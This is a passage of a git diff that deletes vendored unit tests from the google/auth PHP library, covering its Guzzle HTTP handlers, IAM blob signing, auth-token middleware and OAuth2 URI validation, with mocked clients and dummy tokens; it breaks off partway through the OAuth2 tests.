$this->assertInstanceOf('Psr\Http\Message\ResponseInterface', $response); - $this->assertEquals(200, $response->getStatusCode()); - $this->assertEquals('Body Text', (string) $response->getBody()); - } - - public function testAsyncWithoutGuzzlePromiseThrowsException() - { - // Pretend the promise library doesn't exist - foreach (spl_autoload_functions() as $function) { - if ($function[0] instanceof ClassLoader) { - $newAutoloader = clone $function[0]; - $newAutoloader->setPsr4('GuzzleHttp\\Promise\\', '/tmp'); - spl_autoload_register($newAutoloadFunc = [$newAutoloader, 'loadClass']); - spl_autoload_unregister($previousAutoloadFunc = $function); - } - } - - $this->mockClient->send(Argument::type('GuzzleHttp\Message\RequestInterface')) - ->willReturn(new FutureResponse($this->mockFuture->reveal())); - $this->mockClient->createRequest('GET', Argument::type('Psr\Http\Message\UriInterface'), Argument::allOf( - Argument::withEntry('headers', []), - Argument::withEntry('future', true), - Argument::that(function ($arg) { - return $arg['body'] instanceof StreamInterface; - }) - ))->willReturn($this->mockRequest->reveal()); - - $handler = new Guzzle5HttpHandler($this->mockClient->reveal()); - $errorThrown = false; - try { - $handler->async($this->mockPsr7Request->reveal()); - } catch (Exception $e) { - $this->assertEquals( - 'Install guzzlehttp/promises to use async with Guzzle 5', - $e->getMessage() - ); - $errorThrown = true; - } - - // Restore autoloader before assertion (in case it fails) - spl_autoload_register($previousAutoloadFunc); - spl_autoload_unregister($newAutoloadFunc); - - $this->assertTrue($errorThrown); - } - - public function testSuccessfullySendsRequestAsync() - { - $response = new Response( - 200, - [], - Stream::factory('Body Text') - ); - $this->mockClient->send(Argument::type('GuzzleHttp\Message\RequestInterface')) - ->willReturn(new FutureResponse( - new CompletedFutureValue($response) - )); - $this->mockClient->createRequest('GET', Argument::type('Psr\Http\Message\UriInterface'), Argument::allOf( - Argument::withEntry('headers', []), - Argument::withEntry('future', true), - Argument::that(function ($arg) { - return $arg['body'] instanceof StreamInterface; - }) - ))->willReturn($this->mockRequest->reveal()); - - $handler = new Guzzle5HttpHandler($this->mockClient->reveal()); - $promise = $handler->async($this->mockPsr7Request->reveal()); - $this->assertInstanceOf('Psr\Http\Message\ResponseInterface', $promise->wait()); - $this->assertEquals(200, $response->getStatusCode()); - $this->assertEquals('Body Text', (string) $response->getBody()); - } - - /** - * @expectedException Exception - * @expectedExceptionMessage This is a test rejection message - */ - public function testPromiseHandlesException() - { - $this->mockClient->send(Argument::type('GuzzleHttp\Message\RequestInterface')) - ->willReturn(new FutureResponse( - (new CompletedFutureValue(new Response(200)))->then(function () { - throw new Exception('This is a test rejection message'); - }) - )); - $this->mockClient->createRequest('GET', Argument::type('Psr\Http\Message\UriInterface'), Argument::allOf( - Argument::withEntry('headers', []), - Argument::withEntry('future', true), - Argument::that(function ($arg) { - return $arg['body'] instanceof StreamInterface; - }) - ))->willReturn($this->mockRequest->reveal()); - - $handler = new Guzzle5HttpHandler($this->mockClient->reveal()); - $promise = $handler->async($this->mockPsr7Request->reveal()); - $promise->wait(); - } - - public function testCreateGuzzle5Request() - { - $requestHeaders = [ - 'header1' => 'value1', - 'header2' => 'value2', - ]; - $this->mockPsr7Request->getHeaders() - ->shouldBeCalledTimes(1) - ->willReturn($requestHeaders); - $mockBody = $this->prophesize('Psr\Http\Message\StreamInterface'); - $this->mockPsr7Request->getBody() - ->shouldBeCalledTimes(1) - ->willReturn($mockBody->reveal()); - - $mockGuzzleRequest = $this->prophesize('GuzzleHttp\Message\RequestInterface'); - $this->mockClient->createRequest( - 'GET', - Argument::type('Psr\Http\Message\UriInterface'), - [ - 'headers' => $requestHeaders + ['header3' => 'value3'], - 'body' => $mockBody->reveal(), - ] - )->shouldBeCalledTimes(1)->willReturn( - $mockGuzzleRequest->reveal() - ); - - $this->mockClient->send(Argument::type('GuzzleHttp\Message\RequestInterface')) - ->shouldBeCalledTimes(1) - ->willReturn($this->getGuzzle5ResponseMock()->reveal()); - - $handler = new Guzzle5HttpHandler($this->mockClient->reveal()); - $handler($this->mockPsr7Request->reveal(), [ - 'headers' => [ - 'header3' => 'value3' - ] - ]); - } - - private function getGuzzle5ResponseMock() - { - $responseMock = $this->prophesize('GuzzleHttp\Message\ResponseInterface'); - $responseMock->getStatusCode()->willReturn(200); - $responseMock->getHeaders()->willReturn([]); - $responseMock->getProtocolVersion()->willReturn(''); - $responseMock->getReasonPhrase()->willReturn(''); - - $res = $this->prophesize('GuzzleHttp\Stream\StreamInterface'); - $res->__toString()->willReturn(''); - $responseMock->getBody()->willReturn( - $res->reveal() - ); - - return $responseMock; - } -} diff --git a/vendor/google/auth/tests/HttpHandler/Guzzle6HttpHandlerTest.php b/vendor/google/auth/tests/HttpHandler/Guzzle6HttpHandlerTest.php deleted file mode 100644 index bf233016c6..0000000000 --- a/vendor/google/auth/tests/HttpHandler/Guzzle6HttpHandlerTest.php +++ /dev/null @@ -1,68 +0,0 @@ -onlyGuzzle6(); - - $this->client = $this->prophesize('GuzzleHttp\ClientInterface'); - $this->handler = new Guzzle6HttpHandler($this->client->reveal()); - } - - public function testSuccessfullySendsRequest() - { - $request = new Request('GET', 'https://domain.tld'); - $options = ['key' => 'value']; - $response = new Response(200); - - $this->client->send($request, $options)->willReturn($response); - - $handler = $this->handler; - - $this->assertSame($response, $handler($request, $options)); - } - - public function testSuccessfullySendsRequestAsync() - { - $request = new Request('GET', 'https://domain.tld'); - $options = ['key' => 'value']; - $response = new Response(200); - $promise = new FulfilledPromise($response); - - $this->client->sendAsync($request, $options)->willReturn($promise); - - $handler = $this->handler; - - $this->assertSame($response, $handler->async($request, $options)->wait()); - } -} diff --git a/vendor/google/auth/tests/HttpHandler/Guzzle7HttpHandlerTest.php b/vendor/google/auth/tests/HttpHandler/Guzzle7HttpHandlerTest.php deleted file mode 100644 index 98e097fb06..0000000000 --- a/vendor/google/auth/tests/HttpHandler/Guzzle7HttpHandlerTest.php +++ /dev/null @@ -1,34 +0,0 @@ -onlyGuzzle7(); - - $this->client = $this->prophesize('GuzzleHttp\ClientInterface'); - $this->handler = new Guzzle7HttpHandler($this->client->reveal()); - } -} diff --git a/vendor/google/auth/tests/HttpHandler/HttpHandlerFactoryTest.php b/vendor/google/auth/tests/HttpHandler/HttpHandlerFactoryTest.php deleted file mode 100644 index 25cf6ae194..0000000000 --- a/vendor/google/auth/tests/HttpHandler/HttpHandlerFactoryTest.php +++ /dev/null @@ -1,52 +0,0 @@ -onlyGuzzle5(); - - HttpClientCache::setHttpClient(null); - $handler = HttpHandlerFactory::build(); - $this->assertInstanceOf('Google\Auth\HttpHandler\Guzzle5HttpHandler', $handler); - } - - public function testBuildsGuzzle6Handler() - { - $this->onlyGuzzle6(); - - HttpClientCache::setHttpClient(null); - $handler = HttpHandlerFactory::build(); - $this->assertInstanceOf('Google\Auth\HttpHandler\Guzzle6HttpHandler', $handler); - } - - public function testBuildsGuzzle7Handler() - { - $this->onlyGuzzle7(); - - HttpClientCache::setHttpClient(null); - $handler = HttpHandlerFactory::build(); - $this->assertInstanceOf('Google\Auth\HttpHandler\Guzzle7HttpHandler', $handler); - } -} diff --git a/vendor/google/auth/tests/IamTest.php b/vendor/google/auth/tests/IamTest.php deleted file mode 100644 index 6c0d791f46..0000000000 --- a/vendor/google/auth/tests/IamTest.php +++ /dev/null @@ -1,101 +0,0 @@ -assertEquals($expectedUri, (string) $request->getUri()); - $this->assertEquals('Bearer ' . $expectedAccessToken, $request->getHeaderLine('Authorization')); - $this->assertEquals([ - 'delegates' => $expectedDelegates, - 'payload' => base64_encode($expectedString) - ], json_decode((string) $request->getBody(), true)); - - return new Psr7\Response(200, [], Utils::streamFor(json_encode([ - 'signedBlob' => $expectedResponse - ]))); - }; - - $iam = new Iam($httpHandler); - $res = $iam->signBlob( - $expectedEmail, - $expectedAccessToken, - $expectedString, - $delegates - ); - - $this->assertEquals($expectedResponse, $res); - } - - public function delegates() - { - return [ - [], - [['foo@bar.com']], - [ - [ - 'foo@bar.com', - 'bar@bar.com' - ] - ], - ]; - } -} diff --git a/vendor/google/auth/tests/Middleware/AuthTokenMiddlewareTest.php b/vendor/google/auth/tests/Middleware/AuthTokenMiddlewareTest.php deleted file mode 100644 index 930186c44d..0000000000 --- a/vendor/google/auth/tests/Middleware/AuthTokenMiddlewareTest.php +++ /dev/null @@ -1,350 +0,0 @@ -onlyGuzzle6And7(); - - $this->mockFetcher = $this->prophesize('Google\Auth\FetchAuthTokenInterface'); - $this->mockCacheItem = $this->prophesize('Psr\Cache\CacheItemInterface'); - $this->mockCache = $this->prophesize('Psr\Cache\CacheItemPoolInterface'); - $this->mockRequest = $this->prophesize('GuzzleHttp\Psr7\Request'); - } - - public function testOnlyTouchesWhenAuthConfigScoped() - { - $this->mockFetcher->fetchAuthToken(Argument::any()) - ->willReturn([]); - $this->mockRequest->withHeader()->shouldNotBeCalled(); - - $middleware = new AuthTokenMiddleware($this->mockFetcher->reveal()); - $mock = new MockHandler([new Response(200)]); - $callable = $middleware($mock); - $callable($this->mockRequest->reveal(), ['auth' => 'not_google_auth']); - } - - public function testAddsTheTokenAsAnAuthorizationHeader() - { - $authResult = ['access_token' => '1/abcdef1234567890']; - $this->mockFetcher->fetchAuthToken(Argument::any()) - ->shouldBeCalledTimes(1) - ->willReturn($authResult); - $this->mockRequest->withHeader('authorization', 'Bearer ' . $authResult['access_token']) - ->shouldBeCalledTimes(1) - ->willReturn($this->mockRequest->reveal()); - - // Run the test. - $middleware = new AuthTokenMiddleware($this->mockFetcher->reveal()); - $mock = new MockHandler([new Response(200)]); - $callable = $middleware($mock); - $callable($this->mockRequest->reveal(), ['auth' => 'google_auth']); - } - - public function testDoesNotAddAnAuthorizationHeaderOnNoAccessToken() - { - $authResult = ['not_access_token' => '1/abcdef1234567890']; - $this->mockFetcher->fetchAuthToken(Argument::any()) - ->shouldBeCalledTimes(1) - ->willReturn($authResult); - $this->mockRequest->withHeader('authorization', 'Bearer ') - ->willReturn($this->mockRequest->reveal()); - - // Run the test. - $middleware = new AuthTokenMiddleware($this->mockFetcher->reveal()); - $mock = new MockHandler([new Response(200)]); - $callable = $middleware($mock); - $callable($this->mockRequest->reveal(), ['auth' => 'google_auth']); - } - - public function testUsesIdTokenWhenAccessTokenDoesNotExist() - { - $token = 'idtoken12345'; - $authResult = ['id_token' => $token]; - $this->mockFetcher->fetchAuthToken(Argument::any()) - ->willReturn($authResult); - $this->mockRequest->withHeader('authorization', 'Bearer ' . $token) - ->willReturn($this->mockRequest); - - $middleware = new AuthTokenMiddleware($this->mockFetcher->reveal()); - $mock = new MockHandler([new Response(200)]); - $callable = $middleware($mock); - $callable($this->mockRequest->reveal(), ['auth' => 'google_auth']); - } - - public function testUsesCachedAccessToken() - { - $cacheKey = 'myKey'; - $accessToken = '2/abcdef1234567890'; - $cachedValue = ['access_token' => $accessToken]; - $this->mockCacheItem->isHit() - ->shouldBeCalledTimes(1) - ->willReturn(true); - $this->mockCacheItem->get() - ->shouldBeCalledTimes(1) - ->willReturn($cachedValue); - $this->mockCache->getItem($cacheKey) - ->shouldBeCalledTimes(1) - ->willReturn($this->mockCacheItem->reveal()); - $this->mockFetcher->fetchAuthToken() - ->shouldNotBeCalled(); - $this->mockFetcher->getCacheKey() - ->shouldBeCalled() - ->willReturn($cacheKey); - $this->mockRequest->withHeader('authorization', 'Bearer ' . $accessToken) - ->shouldBeCalledTimes(1) - ->willReturn($this->mockRequest->reveal()); - - // Run the test. - $cachedFetcher = new FetchAuthTokenCache( - $this->mockFetcher->reveal(), - null, - $this->mockCache->reveal() - ); - $middleware = new AuthTokenMiddleware($cachedFetcher); - $mock = new MockHandler([new Response(200)]); - $callable = $middleware($mock); - $callable($this->mockRequest->reveal(), ['auth' => 'google_auth']); - } - - public function testUsesCachedIdToken() - { - $cacheKey = 'myKey'; - $idToken = '2/abcdef1234567890'; - $cachedValue = ['id_token' => $idToken]; - $this->mockCacheItem->isHit() - ->shouldBeCalledTimes(1) - ->willReturn(true); - $this->mockCacheItem->get() - ->shouldBeCalledTimes(1) - ->willReturn($cachedValue); - $this->mockCache->getItem($cacheKey) - ->shouldBeCalledTimes(1) - ->willReturn($this->mockCacheItem->reveal()); - $this->mockFetcher->fetchAuthToken() - ->shouldNotBeCalled(); - $this->mockFetcher->getCacheKey() - ->shouldBeCalled() - ->willReturn($cacheKey); - $this->mockRequest->withHeader('authorization', 'Bearer ' . $idToken) - ->shouldBeCalledTimes(1) - ->willReturn($this->mockRequest->reveal()); - - // Run the test. - $cachedFetcher = new FetchAuthTokenCache( - $this->mockFetcher->reveal(), - null, - $this->mockCache->reveal() - ); - $middleware = new AuthTokenMiddleware($cachedFetcher); - $mock = new MockHandler([new Response(200)]); - $callable = $middleware($mock); - $callable($this->mockRequest->reveal(), ['auth' => 'google_auth']); - } - - public function testGetsCachedAuthTokenUsingCacheOptions() - { - $prefix = 'test_prefix_'; - $cacheKey = 'myKey'; - $token = '2/abcdef1234567890'; - $cachedValue = ['access_token' => $token]; - $this->mockCacheItem->isHit() - ->shouldBeCalledTimes(1) - ->willReturn(true); - $this->mockCacheItem->get() - ->shouldBeCalledTimes(1) - ->willReturn($cachedValue); - $this->mockCache->getItem($prefix . $cacheKey) - ->shouldBeCalledTimes(1) - ->willReturn($this->mockCacheItem->reveal()); - $this->mockFetcher->fetchAuthToken() - ->shouldNotBeCalled(); - $this->mockFetcher->getCacheKey() - ->shouldBeCalled() - ->willReturn($cacheKey); - $this->mockRequest->withHeader('authorization', 'Bearer ' . $token) - ->shouldBeCalledTimes(1) - ->willReturn($this->mockRequest->reveal()); - - // Run the test. - $cachedFetcher = new FetchAuthTokenCache( - $this->mockFetcher->reveal(), - ['prefix' => $prefix], - $this->mockCache->reveal() - ); - $middleware = new AuthTokenMiddleware($cachedFetcher); - $mock = new MockHandler([new Response(200)]); - $callable = $middleware($mock); - $callable($this->mockRequest->reveal(), ['auth' => 'google_auth']); - } - - public function testShouldSaveValueInCacheWithSpecifiedPrefix() - { - $prefix = 'test_prefix_'; - $lifetime = '70707'; - $cacheKey = 'myKey'; - $token = '1/abcdef1234567890'; - $cachedValue = ['access_token' => $token]; - $this->mockCacheItem->get() - ->willReturn(null); - $this->mockCacheItem->isHit() - ->willReturn(false); - $this->mockCacheItem->set($cachedValue) - ->shouldBeCalledTimes(1) - ->willReturn(false); - $this->mockCacheItem->expiresAfter($lifetime) - ->shouldBeCalledTimes(1); - $this->mockCache->getItem($prefix . $cacheKey) - ->shouldBeCalled() - ->willReturn($this->mockCacheItem->reveal()); - $this->mockCache->save(Argument::type('Psr\Cache\CacheItemInterface')) - ->shouldBeCalled(); - $this->mockFetcher->getCacheKey() - ->shouldBeCalled() - ->willReturn($cacheKey); - $this->mockFetcher->fetchAuthToken(Argument::any()) - ->shouldBeCalledTimes(1) - ->willReturn($cachedValue); - $this->mockRequest->withHeader('authorization', 'Bearer ' . $token) - ->shouldBeCalledTimes(1) - ->willReturn($this->mockRequest->reveal()); - - // Run the test. - $cachedFetcher = new FetchAuthTokenCache( - $this->mockFetcher->reveal(), - ['prefix' => $prefix, 'lifetime' => $lifetime], - $this->mockCache->reveal() - ); - $middleware = new AuthTokenMiddleware($cachedFetcher); - $mock = new MockHandler([new Response(200)]); - $callable = $middleware($mock); - $callable($this->mockRequest->reveal(), ['auth' => 'google_auth']); - } - - /** - * @dataProvider provideShouldNotifyTokenCallback - */ - public function testShouldNotifyTokenCallback(callable $tokenCallback) - { - $prefix = 'test_prefix_'; - $cacheKey = 'myKey'; - $token = '1/abcdef1234567890'; - $cachedValue = ['access_token' => $token]; - $this->mockCacheItem->get() - ->willReturn(null); - $this->mockCacheItem->isHit() - ->willReturn(false); - $this->mockCacheItem->set($cachedValue) - ->shouldBeCalled(); - $this->mockCacheItem->expiresAfter(Argument::any()) - ->shouldBeCalled(); - $this->mockCache->getItem($prefix . $cacheKey) - ->willReturn($this->mockCacheItem->reveal()); - $this->mockCache->save(Argument::type('Psr\Cache\CacheItemInterface')) - ->shouldBeCalled(); - $this->mockFetcher->getCacheKey() - ->willReturn($cacheKey); - $this->mockFetcher->fetchAuthToken(Argument::any()) - ->shouldBeCalledTimes(1) - ->willReturn($cachedValue); - $this->mockRequest->withHeader(Argument::any(), Argument::any()) - ->willReturn($this->mockRequest->reveal()); - - MiddlewareCallback::$expectedKey = $this->getValidKeyName($prefix . $cacheKey); - MiddlewareCallback::$expectedValue = $token; - MiddlewareCallback::$called = false; - - // Run the test. - $cachedFetcher = new FetchAuthTokenCache( - $this->mockFetcher->reveal(), - ['prefix' => $prefix], - $this->mockCache->reveal() - ); - $middleware = new AuthTokenMiddleware( - $cachedFetcher, - null, - $tokenCallback - ); - $mock = new MockHandler([new Response(200)]); - $callable = $middleware($mock); - $callable($this->mockRequest->reveal(), ['auth' => 'google_auth']); - $this->assertTrue(MiddlewareCallback::$called); - } - - public function provideShouldNotifyTokenCallback() - { - MiddlewareCallback::$phpunit = $this; - $anonymousFunc = function ($key, $value) { - MiddlewareCallback::staticInvoke($key, $value); - }; - return [ - ['Google\Auth\Tests\Middleware\MiddlewareCallbackFunction'], - ['Google\Auth\Tests\Middleware\MiddlewareCallback::staticInvoke'], - [['Google\Auth\Tests\Middleware\MiddlewareCallback', 'staticInvoke']], - [$anonymousFunc], - [[new MiddlewareCallback(), 'staticInvoke']], - [[new MiddlewareCallback(), 'methodInvoke']], - [new MiddlewareCallback()], - ]; - } -} - -class MiddlewareCallback -{ - public static $phpunit; - public static $expectedKey; - public static $expectedValue; - public static $called = false; - - public function __invoke($key, $value) - { - self::$phpunit->assertEquals(self::$expectedKey, $key); - self::$phpunit->assertEquals(self::$expectedValue, $value); - self::$called = true; - } - - public function methodInvoke($key, $value) - { - return $this($key, $value); - } - - public static function staticInvoke($key, $value) - { - $instance = new self(); - return $instance($key, $value); - } -} - -function MiddlewareCallbackFunction($key, $value) -{ - return MiddlewareCallback::staticInvoke($key, $value); -} diff --git a/vendor/google/auth/tests/Middleware/ProxyAuthTokenMiddlewareTest.php b/vendor/google/auth/tests/Middleware/ProxyAuthTokenMiddlewareTest.php deleted file mode 100644 index d154484ebf..0000000000 --- a/vendor/google/auth/tests/Middleware/ProxyAuthTokenMiddlewareTest.php +++ /dev/null @@ -1,124 +0,0 @@ -onlyGuzzle6And7(); - - $this->mockFetcher = $this->prophesize('Google\Auth\FetchAuthTokenInterface'); - $this->mockRequest = $this->prophesize('GuzzleHttp\Psr7\Request'); - } - - public function testOnlyTouchesWhenAuthConfigScoped() - { - $this->mockFetcher->fetchAuthToken(Argument::any()) - ->willReturn([]); - $this->mockRequest->withHeader()->shouldNotBeCalled(); - - $middleware = new ProxyAuthTokenMiddleware($this->mockFetcher->reveal()); - $mock = new MockHandler([new Response(200)]); - $callable = $middleware($mock); - $callable($this->mockRequest->reveal(), ['proxy_auth' => 'not_google_auth']); - } - - public function testAddsTheTokenAsAnAuthorizationHeader() - { - $authResult = ['id_token' => '1/abcdef1234567890']; - $this->mockFetcher->fetchAuthToken(Argument::any()) - ->shouldBeCalledTimes(1) - ->willReturn($authResult); - $this->mockRequest->withHeader('proxy-authorization', 'Bearer ' . $authResult['id_token']) - ->shouldBeCalledTimes(1) - ->willReturn($this->mockRequest->reveal()); - - // Run the test. - $middleware = new ProxyAuthTokenMiddleware($this->mockFetcher->reveal()); - $mock = new MockHandler([new Response(200)]); - $callable = $middleware($mock); - $callable($this->mockRequest->reveal(), ['proxy_auth' => 'google_auth']); - } - - public function testDoesNotAddAnAuthorizationHeaderOnNoAccessToken() - { - $authResult = ['not_access_token' => '1/abcdef1234567890']; - $this->mockFetcher->fetchAuthToken(Argument::any()) - ->shouldBeCalledTimes(1) - ->willReturn($authResult); - $this->mockRequest->withHeader('proxy-authorization', 'Bearer ') - ->shouldBeCalledTimes(1) - ->willReturn($this->mockRequest->reveal()); - - // Run the test. - $middleware = new ProxyAuthTokenMiddleware($this->mockFetcher->reveal()); - $mock = new MockHandler([new Response(200)]); - $callable = $middleware($mock); - $callable($this->mockRequest->reveal(), ['proxy_auth' => 'google_auth']); - } - - public function testUsesIdTokenWhenAccessTokenDoesNotExist() - { - $token = 'idtoken12345'; - $authResult = ['id_token' => $token]; - $this->mockFetcher->fetchAuthToken(Argument::any()) - ->willReturn($authResult); - $this->mockRequest->withHeader('proxy-authorization', 'Bearer ' . $token) - ->shouldBeCalledTimes(1) - ->willReturn($this->mockRequest->reveal()); - - $middleware = new ProxyAuthTokenMiddleware($this->mockFetcher->reveal()); - $mock = new MockHandler([new Response(200)]); - $callable = $middleware($mock); - $callable($this->mockRequest->reveal(), ['proxy_auth' => 'google_auth']); - } - - public function testGetQuotaProject() - { - $token = 'idtoken12345'; - $authResult = ['id_token' => $token]; - $quotaProject = 'test-quota-project'; - $quotaProjectHeader = GetQuotaProjectInterface::X_GOOG_USER_PROJECT_HEADER; - $this->mockFetcher->willImplement('Google\Auth\GetQuotaProjectInterface'); - $this->mockFetcher->fetchAuthToken(Argument::any()) - ->willReturn($authResult); - $this->mockFetcher->getQuotaProject(Argument::any()) - ->willReturn($quotaProject); - $this->mockRequest->withHeader('proxy-authorization', 'Bearer ' . $token) - ->shouldBeCalledTimes(1) - ->willReturn($this->mockRequest->reveal()); - $this->mockRequest->withHeader($quotaProjectHeader, $quotaProject) - ->shouldBeCalledTimes(1) - ->willReturn($this->mockRequest->reveal()); - $middleware = new ProxyAuthTokenMiddleware($this->mockFetcher->reveal()); - $mock = new MockHandler([new Response(200)]); - $callable = $middleware($mock); - $callable($this->mockRequest->reveal(), ['proxy_auth' => 'google_auth']); - } -} diff --git a/vendor/google/auth/tests/Middleware/ScopedAccessTokenMiddlewareTest.php b/vendor/google/auth/tests/Middleware/ScopedAccessTokenMiddlewareTest.php deleted file mode 100644 index 250013663c..0000000000 --- a/vendor/google/auth/tests/Middleware/ScopedAccessTokenMiddlewareTest.php +++ /dev/null @@ -1,221 +0,0 @@ -onlyGuzzle6And7(); - - $this->mockCacheItem = $this->prophesize('Psr\Cache\CacheItemInterface'); - $this->mockCache = $this->prophesize('Psr\Cache\CacheItemPoolInterface'); - $this->mockRequest = $this->prophesize('GuzzleHttp\Psr7\Request'); - } - - /** - * @expectedException InvalidArgumentException - */ - public function testRequiresScopeAsAStringOrArray() - { - $fakeAuthFunc = function ($unused_scopes) { - return '1/abcdef1234567890'; - }; - new ScopedAccessTokenMiddleware($fakeAuthFunc, new \stdClass()); - } - - public function testAddsTheTokenAsAnAuthorizationHeader() - { - $token = '1/abcdef1234567890'; - $fakeAuthFunc = function ($unused_scopes) use ($token) { - return $token; - }; - $this->mockRequest->withHeader('authorization', 'Bearer ' . $token) - ->shouldBeCalledTimes(1) - ->willReturn($this->mockRequest->reveal()); - - // Run the test - $middleware = new ScopedAccessTokenMiddleware($fakeAuthFunc, self::TEST_SCOPE); - $mock = new MockHandler([new Response(200)]); - $callable = $middleware($mock); - $callable($this->mockRequest->reveal(), ['auth' => 'scoped']); - } - - public function testUsesCachedAuthToken() - { - $cachedValue = '2/abcdef1234567890'; - $fakeAuthFunc = function ($unused_scopes) { - return ''; - }; - $this->mockCacheItem->isHit() - ->shouldBeCalledTimes(1) - ->willReturn(true); - $this->mockCacheItem->get() - ->shouldBeCalledTimes(1) - ->willReturn($cachedValue); - $this->mockCache->getItem($this->getValidKeyName(self::TEST_SCOPE)) - ->shouldBeCalledTimes(1) - ->willReturn($this->mockCacheItem->reveal()); - $this->mockRequest->withHeader('authorization', 'Bearer ' . $cachedValue) - ->shouldBeCalledTimes(1) - ->willReturn($this->mockRequest->reveal()); - - // Run the test - $middleware = new ScopedAccessTokenMiddleware( - $fakeAuthFunc, - self::TEST_SCOPE, - [], - $this->mockCache->reveal() - ); - $mock = new MockHandler([new Response(200)]); - $callable = $middleware($mock); - $callable($this->mockRequest->reveal(), ['auth' => 'scoped']); - } - - public function testGetsCachedAuthTokenUsingCachePrefix() - { - $prefix = 'test_prefix_'; - $cachedValue = '2/abcdef1234567890'; - $fakeAuthFunc = function ($unused_scopes) { - return ''; - }; - $this->mockCacheItem->isHit() - ->shouldBeCalledTimes(1) - ->willReturn(true); - $this->mockCacheItem->get() - ->shouldBeCalledTimes(1) - ->willReturn($cachedValue); - $this->mockCache->getItem($prefix . $this->getValidKeyName(self::TEST_SCOPE)) - ->shouldBeCalledTimes(1) - ->willReturn($this->mockCacheItem->reveal()); - $this->mockRequest->withHeader('authorization', 'Bearer ' . $cachedValue) - ->shouldBeCalledTimes(1) - ->willReturn($this->mockRequest->reveal()); - - // Run the test - $middleware = new ScopedAccessTokenMiddleware( - $fakeAuthFunc, - self::TEST_SCOPE, - ['prefix' => $prefix], - $this->mockCache->reveal() - ); - $mock = new MockHandler([new Response(200)]); - $callable = $middleware($mock); - $callable($this->mockRequest->reveal(), ['auth' => 'scoped']); - } - - public function testShouldSaveValueInCache() - { - $token = '2/abcdef1234567890'; - $fakeAuthFunc = function ($unused_scopes) use ($token) { - return $token; - }; - $this->mockCacheItem->isHit() - ->shouldBeCalledTimes(1) - ->willReturn(false); - $this->mockCacheItem->set($token) - ->shouldBeCalledTimes(1) - ->willReturn(false); - $this->mockCacheItem->expiresAfter(Argument::any()) - ->shouldBeCalledTimes(1); - $this->mockCache->getItem($this->getValidKeyName(self::TEST_SCOPE)) - ->shouldBeCalledTimes(2) - ->willReturn($this->mockCacheItem->reveal()); - $this->mockCache->save(Argument::type('Psr\Cache\CacheItemInterface')) - ->shouldBeCalled() - ->willReturn(true); - $this->mockRequest->withHeader('authorization', 'Bearer ' . $token) - ->shouldBeCalledTimes(1) - ->willReturn($this->mockRequest->reveal()); - - // Run the test - $middleware = new ScopedAccessTokenMiddleware( - $fakeAuthFunc, - self::TEST_SCOPE, - [], - $this->mockCache->reveal() - ); - $mock = new MockHandler([new Response(200)]); - $callable = $middleware($mock); - $callable($this->mockRequest->reveal(), ['auth' => 'scoped']); - } - - public function testShouldSaveValueInCacheWithCacheOptions() - { - $token = '2/abcdef1234567890'; - $prefix = 'test_prefix_'; - $lifetime = '70707'; - $fakeAuthFunc = function ($unused_scopes) use ($token) { - return $token; - }; - $this->mockCacheItem->isHit() - ->shouldBeCalledTimes(1) - ->willReturn(false); - $this->mockCacheItem->set($token) - ->shouldBeCalledTimes(1) - ->willReturn(false); - $this->mockCacheItem->expiresAfter($lifetime) - ->shouldBeCalledTimes(1); - $this->mockCache->getItem($prefix . $this->getValidKeyName(self::TEST_SCOPE)) - ->shouldBeCalledTimes(2) - ->willReturn($this->mockCacheItem->reveal()); - $this->mockCache->save(Argument::type('Psr\Cache\CacheItemInterface')) - ->shouldBeCalled() - ->willReturn(true); - $this->mockRequest->withHeader('authorization', 'Bearer ' . $token) - ->shouldBeCalledTimes(1) - ->willReturn($this->mockRequest->reveal()); - - // Run the test - $middleware = new ScopedAccessTokenMiddleware( - $fakeAuthFunc, - self::TEST_SCOPE, - ['prefix' => $prefix, 'lifetime' => $lifetime], - $this->mockCache->reveal() - ); - $mock = new MockHandler([new Response(200)]); - $callable = $middleware($mock); - $callable($this->mockRequest->reveal(), ['auth' => 'scoped']); - } - - public function testOnlyTouchesWhenAuthConfigScoped() - { - $fakeAuthFunc = function ($unused_scopes) { - return '1/abcdef1234567890'; - }; - $this->mockRequest->withHeader()->shouldNotBeCalled(); - - // Run the test - $middleware = new ScopedAccessTokenMiddleware($fakeAuthFunc, self::TEST_SCOPE); - $mock = new MockHandler([new Response(200)]); - $callable = $middleware($mock); - $callable($this->mockRequest->reveal(), ['auth' => 'not_scoped']); - } -} diff --git a/vendor/google/auth/tests/Middleware/SimpleMiddlewareTest.php b/vendor/google/auth/tests/Middleware/SimpleMiddlewareTest.php deleted file mode 100644 index 7beb765d9e..0000000000 --- a/vendor/google/auth/tests/Middleware/SimpleMiddlewareTest.php +++ /dev/null @@ -1,39 +0,0 @@ -onlyGuzzle6And7(); - - $this->mockRequest = $this->prophesize('GuzzleHttp\Psr7\Request'); - } - - public function testTest() - { - } -} diff --git a/vendor/google/auth/tests/OAuth2Test.php b/vendor/google/auth/tests/OAuth2Test.php deleted file mode 100644 index 7dad4e0d48..0000000000 --- a/vendor/google/auth/tests/OAuth2Test.php +++ /dev/null @@ -1,1011 +0,0 @@ - 'https://accounts.test.org/insecure/url', - 'redirectUri' => 'https://accounts.test.org/redirect/url', - 'clientId' => 'aClientID', - ]; - - /** - * @expectedException InvalidArgumentException - */ - public function testIsNullIfAuthorizationUriIsNull() - { - $o = new OAuth2([]); - $this->assertNull($o->buildFullAuthorizationUri()); - } - - /** - * @expectedException InvalidArgumentException - */ - public function testRequiresTheClientId() - { - $o = new OAuth2([ - 'authorizationUri' => 'https://accounts.test.org/auth/url', - 'redirectUri' => 'https://accounts.test.org/redirect/url', - ]); - $o->buildFullAuthorizationUri(); - } - - /** - * @expectedException InvalidArgumentException - */ - public function testRequiresTheRedirectUri() - { - $o = new OAuth2([ - 'authorizationUri' => 'https://accounts.test.org/auth/url', - 'clientId' => 'aClientID', - ]); - $o->buildFullAuthorizationUri(); - } - - /** - * @expectedException InvalidArgumentException - */ - public function testCannotHavePromptAndApprovalPrompt() - { - $o = new OAuth2([ - 'authorizationUri' => 'https://accounts.test.org/auth/url', - 'clientId' => 'aClientID', - ]); - $o->buildFullAuthorizationUri([ - 'approval_prompt' => 'an approval prompt', - 'prompt' => 'a prompt', - ]); - } - - /** - * @expectedException InvalidArgumentException - */ - public function testCannotHaveInsecureAuthorizationUri() - { - $o = new OAuth2([ - 'authorizationUri' => 'http://accounts.test.org/insecure/url', - 'redirectUri' => 'https://accounts.test.org/redirect/url', - 'clientId' => 'aClientID', - ]); - $o->buildFullAuthorizationUri(); - } - - /** - * @expectedException InvalidArgumentException - */ - public function testCannotHaveRelativeRedirectUri() - { - $o = new OAuth2([ - 'authorizationUri' => 